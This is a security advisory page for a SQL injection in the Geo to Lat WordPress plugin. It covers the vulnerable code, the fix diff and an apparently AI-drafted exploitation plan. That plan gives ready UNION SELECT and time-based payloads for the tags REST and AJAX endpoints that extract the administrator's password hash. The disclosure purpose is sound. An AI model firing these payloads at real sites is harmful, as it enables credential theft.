CVE-2026-32368

Geo to Lat <= 1.0.19 - Authenticated (Contributor+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.1
Patched in
59d
Time to patch

Description

The Geo to Lat plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.19 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.19
PublishedFebruary 16, 2026
Last updatedApril 15, 2026
Affected plugingeo-to-lat

What Changed in the Fix

Changes introduced in v1.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-32368 ## 1. Vulnerability Summary The **Geo to Lat** plugin (<= 1.0.19) is vulnerable to an **Authenticated SQL Injection** within the `ctl_sanitize_title` function. This function is hooked to the WordPress core `sanitize_title` and `sanitize_file_name` filte…

Show full research plan

Exploitation Research Plan - CVE-2026-32368

1. Vulnerability Summary

The Geo to Lat plugin (<= 1.0.19) is vulnerable to an **Authenticated SQL Injection** within the ctl_sanitize_title function. This function is hooked to the WordPress core sanitize_title and sanitize_file_name filters. When a new term (like a tag or category) is created via wp_insert_term, the plugin performs a database lookup to check for existing slugs. The user-provided term name is interpolated directly into a SQL query string without escaping or parameterization using $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (/wp-json/wp/v2/tags) or AJAX (admin-ajax.php with action=add-tag).
  • Hook: add_filter('sanitize_title', 'ctl_sanitize_title', 9);
  • Vulnerable Parameter: The name field of a new term.
  • Authentication: Contributor level or higher (users with edit_posts capability can typically create tags).
  • Preconditions: The plugin must be active. The injection only triggers when wp_insert_term is present in the execution backtrace.

3. Code Flow

  1. Entry Point: An authenticated user (Contributor+) sends a request to create a new taxonomy term (e.g., a Post Tag).
  2. Core Processing: WordPress calls wp_insert_term().
  3. Trigger: Inside wp_insert_term, WordPress calls sanitize_title($name) to generate a slug if one isn't provided.
  4. Plugin Execution: The plugin's filter ctl_sanitize_title($title) is invoked (Line 14 in geo-to-lat.php).
  5. Backtrace Check: The function iterates through debug_backtrace() (Lines 29-35). Since wp_insert_term is the caller, $is_term is set to true.
  6. Vulnerable Sink: The code executes $wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'") (Line 37). The $title variable (the term name) is directly concatenated into the query.
  7. Data Leak: If the injection is a UNION SELECT, the result of the subquery is assigned to $term. The function then returns $term as the sanitized title (Line 49).
  8. Output: The leaked data is saved as the "slug" for the newly created term and returned in the API response.

4. Nonce Acquisition Strategy

This exploit targets the REST API, which requires a standard WordPress REST nonce for authenticated requests.

  1. Requirement: A Contributor-level user session.
  2. Action: Navigate to the WordPress Dashboard.
  3. Extraction:
    • Use browser_navigate to [TARGET_URL]/wp-admin/.
    • Use browser_eval to extract the REST nonce from the wpApiSettings object:
      browser_eval("window.wpApiSettings.nonce")
  4. Alternative: The nonce is also typically found in the _wpnonce parameter of the tag creation form in the UI.

5. Exploitation Strategy

We will use a UNION-based SQL Injection to extract the administrator's password hash from the wp_users table.

Step-by-Step Plan:

  1. Authenticate: Log in as a Contributor.
  2. Obtain Nonce: Extract the REST API nonce using browser_eval.
  3. Craft Payload:
    • Base name: InjectedTag
    • Payload: InjectedTag' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -
  4. Execute Request: Send a POST request to /wp-json/wp/v2/tags.
    • URL: http://[TARGET]/wp-json/wp/v2/tags
    • Method: POST
    • Headers:
      • Content-Type: application/json
      • X-WP-Nonce: [EXTRACTED_NONCE]
    • Body:
      {
        "name": "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -",
        "taxonomy": "post_tag"
      }
      
  5. Observe Response: The response JSON will contain a slug field. Due to the logic in ctl_sanitize_title (Line 49), the slug will contain the result of the UNION SELECT.

6. Test Data Setup

  1. Plugin: Ensure geo-to-lat is installed and active.
  2. User: Create a user with the contributor role.
  3. Environment: Ensure WP_DEBUG is off (though not required, it keeps responses clean).

7. Expected Results

  • HTTP Status: 201 Created.
  • Response Body:
    {
      "id": [NEW_ID],
      "count": 0,
      "description": "",
      "link": "...",
      "name": "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -",
      "slug": "$P$Byouradminpasswordhash...",
      "taxonomy": "post_tag",
      ...
    }
    
  • The slug field will leak the password hash (typically starting with $P$ or $wp$).

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the created term:
    wp term list post_tag --fields=name,slug
  2. Compare: Verify that the slug for the injected tag matches the admin password hash:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Time-based Blind SQLi: If the response does not return the slug (unlikely for REST API), use SLEEP():
    • Payload: ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • AJAX Endpoint: Use admin-ajax.php if REST API is disabled.
    • Action: add-tag
    • Body: action=add-tag&screen=edit-post_tag&taxonomy=post_tag&tag-name=[PAYLOAD]&_wpnonce_add-tag=[NONCE]
  • Post Metadata: Since the function is also hooked to sanitize_file_name, uploading a file with a malicious name as an authenticated user could also trigger the injection.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Geo to Lat plugin for WordPress is vulnerable to SQL Injection via the ctl_sanitize_title function, which is hooked to the sanitize_title filter. When a new taxonomy term is created, the plugin executes a database query using the unsanitized term name, allowing authenticated attackers with contributor-level permissions to extract sensitive information using UNION-based techniques.

Vulnerable Code

// geo-to-lat.php L37
function ctl_sanitize_title($title) {
	global $wpdb;

	// ... (omitted Georgian translation table)

	$is_term = false;
	$backtrace = debug_backtrace();
	foreach ( $backtrace as $backtrace_entry ) {
		if ( $backtrace_entry['function'] == 'wp_insert_term' ) {
			$is_term = true;
			break;
		}
	}

	$term = $is_term ? $wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'") : '';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/geo-to-lat/1.0.19/geo-to-lat.php	2025-11-28 09:06:32.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/geo-to-lat/1.1/geo-to-lat.php	2026-02-22 04:05:50.000000000 +0000
@@ -29,7 +29,7 @@
 		}
 	}
 
-	$term = $is_term ? $wpdb->get_var("SELECT slug FROM {$wpdb->terms} WHERE name = '$title'") : '';
+	$term = $is_term ? $wpdb->get_var($wpdb->prepare("SELECT slug FROM {$wpdb->terms} WHERE name = %s", $title)) : '';
 	if ( empty($term) ) {
 		$title = strtr($title, apply_filters('ctl_table', $geo2lat));
 		if (function_exists('iconv')){

Exploit Outline

To exploit this vulnerability, an attacker with Contributor-level access or higher must first obtain a valid WordPress REST API nonce from the dashboard. The attacker then sends a POST request to the /wp-json/wp/v2/tags (or any taxonomy) endpoint. The 'name' parameter in the JSON payload is crafted to include a SQL UNION SELECT statement designed to extract data, such as "Exploit' UNION SELECT (SELECT user_pass FROM wp_users WHERE ID=1)-- -". Because the plugin uses the 'sanitize_title' hook to check for existing slugs by name using direct string interpolation, the SQL query is modified. The plugin then returns the result of the query as the 'slug' for the newly created term, which is visible in the JSON response body to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.